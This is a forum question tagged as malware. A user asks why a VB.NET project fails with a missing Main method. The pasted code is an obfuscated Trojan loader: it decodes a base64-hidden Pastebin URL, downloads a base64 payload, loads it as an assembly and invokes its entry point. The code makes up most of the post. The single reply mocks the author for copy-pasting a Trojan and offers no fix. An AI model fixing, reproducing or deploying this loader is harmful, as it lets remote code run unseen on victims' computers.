A
A
AlbertPerminov2017-12-18 23:04:15
Malware
AlbertPerminov, 2017-12-18 23:04:15

VB.NET Main method not found?

Hello, please tell me why the error is coming out.
No available method 'Main' with matching signature found.
P\S in the project settings, unchecked "Enable runtime environment" and set "Automatically launched object - Sub Main"
Project code

Public Class Form1
    Protected alfqaar As New Net.WebClient
    Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim mr As Object = alfqaar2.load(Convert.FromBase64String(alfqaar1))
        Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
        DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
    End Sub
    Protected alfqaar2 As Object = AppDomain.CurrentDomain

    Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
        Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
        Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
        Return PTlDHFqJimPORfiSa
    End Function
End Class

Can anyone tell me how to fix this?

Answer the question

In order to leave comments, you need to log in

1 answer(s)
A
Alexander, 2017-12-18
@alexr64

And rightly so. Before trying to build a Trojan using the copy-paste method, it would be nice to learn the language itself.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question